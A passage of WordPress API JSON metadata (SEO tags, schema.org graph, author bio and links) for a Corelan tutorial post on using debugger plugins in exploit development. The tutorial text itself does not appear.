tutorial\",\"debugging\",\"immunity debugger\",\"debugger\",\"pycommand\",\"aslr\",\"seh\",\"shellcode\",\"metasploit\",\"eip\"],\"articleSection\":[\"Debugging\",\"Exploit Writing Tutorials\",\"Exploits\",\"Security\"],\"inLanguage\":\"en-US\"},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2009\\\/09\\\/05\\\/exploit-writing-tutorial-part-5-how-debugger-modules-plugins-can-speed-up-basic-exploit-development\\\/\",\"url\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2009\\\/09\\\/05\\\/exploit-writing-tutorial-part-5-how-debugger-modules-plugins-can-speed-up-basic-exploit-development\\\/\",\"name\":\"Exploit writing tutorial part 5 : How debugger modules &amp; plugins can speed up basic exploit development - Corelan | Exploit Development &amp; Vulnerability Research\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/www.corelan.be\\\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2009\\\/09\\\/05\\\/exploit-writing-tutorial-part-5-how-debugger-modules-plugins-can-speed-up-basic-exploit-development\\\/#primaryimage\"},\"image\":{\"@id\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2009\\\/09\\\/05\\\/exploit-writing-tutorial-part-5-how-debugger-modules-plugins-can-speed-up-basic-exploit-development\\\/#primaryimage\"},\"thumbnailUrl\":\"http:\\\/\\\/www.digiprove.com\\\/images\\\/dp_seal_trans_16x16.png\",\"datePublished\":\"2009-09-05T09:35:42+00:00\",\"dateModified\":\"2026-03-23T06:19:43+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2009\\\/09\\\/05\\\/exploit-writing-tutorial-part-5-how-debugger-modules-plugins-can-speed-up-basic-exploit-development\\\/#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2009\\\/09\\\/05\\\/exploit-writing-tutorial-part-5-how-debugger-modules-plugins-can-speed-up-basic-exploit-development\\\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2009\\\/09\\\/05\\\/exploit-writing-tutorial-part-5-how-debugger-modules-plugins-can-speed-up-basic-exploit-development\\\/#primaryimage\",\"url\":\"http:\\\/\\\/www.digiprove.com\\\/images\\\/dp_seal_trans_16x16.png\",\"contentUrl\":\"http:\\\/\\\/www.digiprove.com\\\/images\\\/dp_seal_trans_16x16.png\"},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2009\\\/09\\\/05\\\/exploit-writing-tutorial-part-5-how-debugger-modules-plugins-can-speed-up-basic-exploit-development\\\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/www.corelan.be\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Exploit writing tutorial part 5 : How debugger modules &amp; plugins can speed up basic exploit development\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/www.corelan.be\\\/#website\",\"url\":\"https:\\\/\\\/www.corelan.be\\\/\",\"name\":\"Corelan CyberSecurity Research\",\"description\":\"Corelan publishes in-depth tutorials on exploit development, Windows exploitation, vulnerability research, heap internals, reverse engineering and security tooling used by professionals worldwide.\",\"publisher\":{\"@id\":\"https:\\\/\\\/www.corelan.be\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/www.corelan.be\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/www.corelan.be\\\/#organization\",\"name\":\"Corelan CyberSecurity Research\",\"url\":\"https:\\\/\\\/www.corelan.be\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/www.corelan.be\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"https:\\\/\\\/www.corelan.be\\\/wp-content\\\/uploads\\\/2026\\\/03\\\/corelanlogo2_small-20.png\",\"contentUrl\":\"https:\\\/\\\/www.corelan.be\\\/wp-content\\\/uploads\\\/2026\\\/03\\\/corelanlogo2_small-20.png\",\"width\":200,\"height\":200,\"caption\":\"Corelan CyberSecurity Research\"},\"image\":{\"@id\":\"https:\\\/\\\/www.corelan.be\\\/#\\\/schema\\\/logo\\\/image\\\/\"},\"sameAs\":[\"https:\\\/\\\/www.facebook.com\\\/corelanconsulting\",\"https:\\\/\\\/x.com\\\/corelanc0d3r\",\"https:\\\/\\\/x.com\\\/corelanconsulting\",\"https:\\\/\\\/instagram.com\\\/corelanconsult\"]},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/www.corelan.be\\\/#\\\/schema\\\/person\\\/3be5542b9b0a0787893db83a5ad68e8f\",\"name\":\"corelanc0d3r\",\"pronouns\":\"he\\\/him\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/3783bed6acd72d7fa5bb2387d88acbb9a3403e7cada60b2037e1cbb74ad451f9?s=96&d=mm&r=x\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/3783bed6acd72d7fa5bb2387d88acbb9a3403e7cada60b2037e1cbb74ad451f9?s=96&d=mm&r=x\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/3783bed6acd72d7fa5bb2387d88acbb9a3403e7cada60b2037e1cbb74ad451f9?s=96&d=mm&r=x\",\"caption\":\"corelanc0d3r\"},\"description\":\"Peter Van Eeckhoutte is the founder of Corelan and a globally recognized expert in exploit development and vulnerability research. With over two decades in IT security, he built Corelan into a respected platform for deep technical research, hands-on training, and knowledge sharing. Known for his influential exploit development tutorials, tools, and real-world training, Peter combines a strong research mindset with a passion for education\u2014helping security professionals understand not just how exploits work, but why.\",\"sameAs\":[\"https:\\\/\\\/www.corelan-training.com\",\"https:\\\/\\\/instagram.com\\\/corelanc0d3r\",\"https:\\\/\\\/www.linkedin.com\\\/in\\\/petervaneeckhoutte\\\/\",\"https:\\\/\\\/x.com\\\/corelanc0d3r\"],\"url\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/author\\\/admin0\\\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Exploit writing tutorial part 5 : How debugger modules &amp; plugins can speed up basic exploit development - Corelan | Exploit Development &amp; Vulnerability Research","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.corelan.be\/index.php\/2009\/09\/05\/exploit-writing-tutorial-part-5-how-debugger-modules-plugins-can-speed-up-basic-exploit-development\/","og_locale":"en_US","og_type":"article","og_title":"Exploit writing tutorial part 5 : How debugger modules &amp; plugins can speed up basic exploit development - Corelan | Exploit Development &amp; Vulnerability Research","og_description":"In the first parts of this exploit writing tutorial, I have mainly used Windbg as a tool to watch registers and stack contents while evaluating crashes and building exploits. Today, I will discuss some other debuggers and debugger plugins that will help you speed up this process. A typical exploit writing toolkit arsenal should at &hellip; Continue reading \"Exploit writing tutorial part 5 : How debugger modules &amp; plugins can speed up basic exploit development\"","og_url":"https:\/\/www.corelan.be\/index.php\/2009\/09\/05\/exploit-writing-tutorial-part-5-how-debugger-modules-plugins-can-speed-up-basic-exploit-development\/","og_site_name":"Corelan | Exploit Development &amp; Vulnerability Research","article_publisher":"https:\/\/www.facebook.com\/corelanconsulting","article_published_time":"2009-09-05T09:35:42+00:00","article_modified_time":"2026-03-23T06:19:43+00:00","og_image":[{"url":"http:\/\/www.digiprove.com\/images\/dp_seal_trans_16x16.png","type":"","width":"","height":""}],"author":"corelanc0d3r","twitter_card":"summary_large_image","twitter_creator":"@corelanc0d3r","twitter_site":"@corelanc0d3r","schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"TechArticle","@id":"https:\/\/www.corelan.be\/index.php\/2009\/09\/05\/exploit-writing-tutorial-part-5-how-debugger-modules-plugins-can-speed-up-basic-exploit-development\/#article","isPartOf":{"@id":"https:\/\/www.corelan.be\/index.php\/2009\/09\/05\/exploit-writing-tutorial-part-5-how-debugger-modules-plugins-can-speed-up-basic-exploit-development\/"},"author":{"name":"corelanc0d3r","@id":"https:\/\/www.corelan.be\/#\/schema\/person\/3be5542b9b0a0787893db83a5ad68e8f"},"headline":"Exploit writing tutorial part 5 : How debugger modules &amp; plugins can speed up basic exploit development","datePublished":"2009-09-05T09:35:42+00:00","dateModified":"2026-03-23T06:19:43+00:00","mainEntityOfPage":{"@id":"https:\/\/www.corelan.be\/index.php\/2009\/09\/05\/exploit-writing-tutorial-part-5-how-debugger-modules-plugins-can-speed-up-basic-exploit-development\/"},"wordCount":3483,"publisher":{"@id":"https:\/\/www.corelan.be\/#organization"},"image":{"@id":"https:\/\/www.corelan.be\/index.php\/2009\/09\/05\/exploit-writing-tutorial-part-5-how-debugger-modules-plugins-can-speed-up-basic-exploit-development\/#primaryimage"},"thumbnailUrl":"http:\/\/www.digiprove.com\/images\/dp_seal_trans_16x16.png","keywords":["exploit development tutorial","debugging","immunity debugger","debugger","pycommand","aslr","seh","shellcode","metasploit","eip"],"articleSection":["Debugging","Exploit Writing Tutorials","Exploits","Security"],"inLanguage":"en-US"},{"@type":"WebPage","@id":"https:\/\/www.corelan.be\/index.php\/2009\/09\/05\/exploit-writing-tutorial-part-5-how-debugger-modules-plugins-can-speed-up-basic-exploit-development\/","url":"https:\/\/www.corelan.be\/index.php\/2009\/09\/05\/exploit-writing-tutorial-part-5-how-debugger-modules-plugins-can-speed-up-basic-exploit-development\/","name":"Exploit writing tutorial part 5 : How debugger modules &amp; plugins can speed up basic exploit development - Corelan | Exploit Development &amp; Vulnerability Research","isPartOf":{"@id":"https:\/\/www.corelan.be\/#website"},"primaryImageOfPage":{"@id":"https:\/\/www.corelan.be\/index.php\/2009\/09\/05\/exploit-writing-tutorial-part-5-how-debugger-modules-plugins-can-speed-up-basic-exploit-development\/#primaryimage"},"image":{"@id":"https:\/\/www.corelan.be\/index.php\/2009\/09\/05\/exploit-writing-tutorial-part-5-how-debugger-modules-plugins-can-speed-up-basic-exploit-development\/#primaryimage"},"thumbnailUrl":"http:\/\/www.digiprove.com\/images\/dp_seal_trans_16x16.png","datePublished":"2009-09-05T09:35:42+00:00","dateModified":"2026-03-23T06:19:43+00:00","breadcrumb":{"@id":"https:\/\/www.corelan.be\/index.php\/2009\/09\/05\/exploit-writing-tutorial-part-5-how-debugger-modules-plugins-can-speed-up-basic-exploit-development\/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.corelan.be\/index.php\/2009\/09\/05\/exploit-writing-tutorial-part-5-how-debugger-modules-plugins-can-speed-up-basic-exploit-development\/"]}]},{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/www.corelan.be\/index.php\/2009\/09\/05\/exploit-writing-tutorial-part-5-how-debugger-modules-plugins-can-speed-up-basic-exploit-development\/#primaryimage","url":"http:\/\/www.digiprove.com\/images\/dp_seal_trans_16x16.png","contentUrl":"http:\/\/www.digiprove.com\/images\/dp_seal_trans_16x16.png"},{"@type":"BreadcrumbList","@id":"https:\/\/www.corelan.be\/index.php\/2009\/09\/05\/exploit-writing-tutorial-part-5-how-debugger-modules-plugins-can-speed-up-basic-exploit-development\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/www.corelan.be\/"},{"@type":"ListItem","position":2,"name":"Exploit writing tutorial part 5 : How debugger modules &amp; plugins can speed up basic exploit development"}]},{"@type":"WebSite","@id":"https:\/\/www.corelan.be\/#website","url":"https:\/\/www.corelan.be\/","name":"Corelan CyberSecurity Research","description":"Corelan publishes in-depth tutorials on exploit development, Windows exploitation, vulnerability research, heap internals, reverse engineering and security tooling used by professionals worldwide.","publisher":{"@id":"https:\/\/www.corelan.be\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.corelan.be\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/www.corelan.be\/#organization","name":"Corelan CyberSecurity Research","url":"https:\/\/www.corelan.be\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/www.corelan.be\/#\/schema\/logo\/image\/","url":"https:\/\/www.corelan.be\/wp-content\/uploads\/2026\/03\/corelanlogo2_small-20.png","contentUrl":"https:\/\/www.corelan.be\/wp-content\/uploads\/2026\/03\/corelanlogo2_small-20.png","width":200,"height":200,"caption":"Corelan CyberSecurity Research"},"image":{"@id":"https:\/\/www.corelan.be\/#\/schema\/logo\/image\/"},"sameAs":["https:\/\/www.facebook.com\/corelanconsulting","https:\/\/x.com\/corelanc0d3r","https:\/\/x.com\/corelanconsulting","https:\/\/instagram.com\/corelanconsult"]},{"@type":"Person","@id":"https:\/\/www.corelan.be\/#\/schema\/person\/3be5542b9b0a0787893db83a5ad68e8f","name":"corelanc0d3r","pronouns":"he\/him","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/3783bed6acd72d7fa5bb2387d88acbb9a3403e7cada60b2037e1cbb74ad451f9?s=96&d=mm&r=x","url":"https:\/\/secure.gravatar.com\/avatar\/3783bed6acd72d7fa5bb2387d88acbb9a3403e7cada60b2037e1cbb74ad451f9?s=96&d=mm&r=x","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/3783bed6acd72d7fa5bb2387d88acbb9a3403e7cada60b2037e1cbb74ad451f9?s=96&d=mm&r=x","caption":"corelanc0d3r"},"description":"Peter Van Eeckhoutte is the founder of Corelan and a globally recognized expert in exploit development and vulnerability research. With over two decades in IT security, he built Corelan into a respected platform for deep technical research, hands-on training, and knowledge sharing. Known for his influential exploit development tutorials, tools, and real-world training, Peter combines a strong research mindset with a passion for education\u2014helping security professionals understand not just how exploits work, but why.","sameAs":["https:\/\/www.corelan-training.com","https:\/\/instagram.com\/corelanc0d3r","https:\/\/www.linkedin.com\/in\/petervaneeckhoutte\/","https:\/\/x.com\/corelanc0d3r"],"url":"https:\/\/www.corelan.be\/index.php\/author\/admin0\/"}]}},"views":66854,"jetpack_publicize_connections":[],"jetpack_featured_media_url":"","jetpack_sharing_enabled":true,"_links":{"self":[{"href":"https:\/\/www.corelan.be\/index.php\/wp-json\/wp\/v2\/posts\/2229","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.corelan.be\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.corelan.be\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.corelan.be\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.corelan.be\/index.php\/wp-json\/wp\/v2\/comments?post=2229"}],"version-history":[{"count":1,"href":"https:\/\/www.corelan.be\/index.php\/wp-json\/wp\/v2\/posts\/2229\/revisions"}],"predecessor-version":[{"id":17271,"href":"https:\/\/www.corelan.be\/index.php\/wp-json\/wp\/v2\/posts\/2229\/revisions\/17271"}],"wp:attachment":[{"href":"https:\/\/www.corelan.be\/index.php\/wp-json\/wp\/v2\/media?parent=2229"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.corelan.be\/index.php\/wp-json\/wp\/v2\/categories?post=2229"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.corelan.be\/index.php\/wp-json\/wp\/v2\/tags?post=2229"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}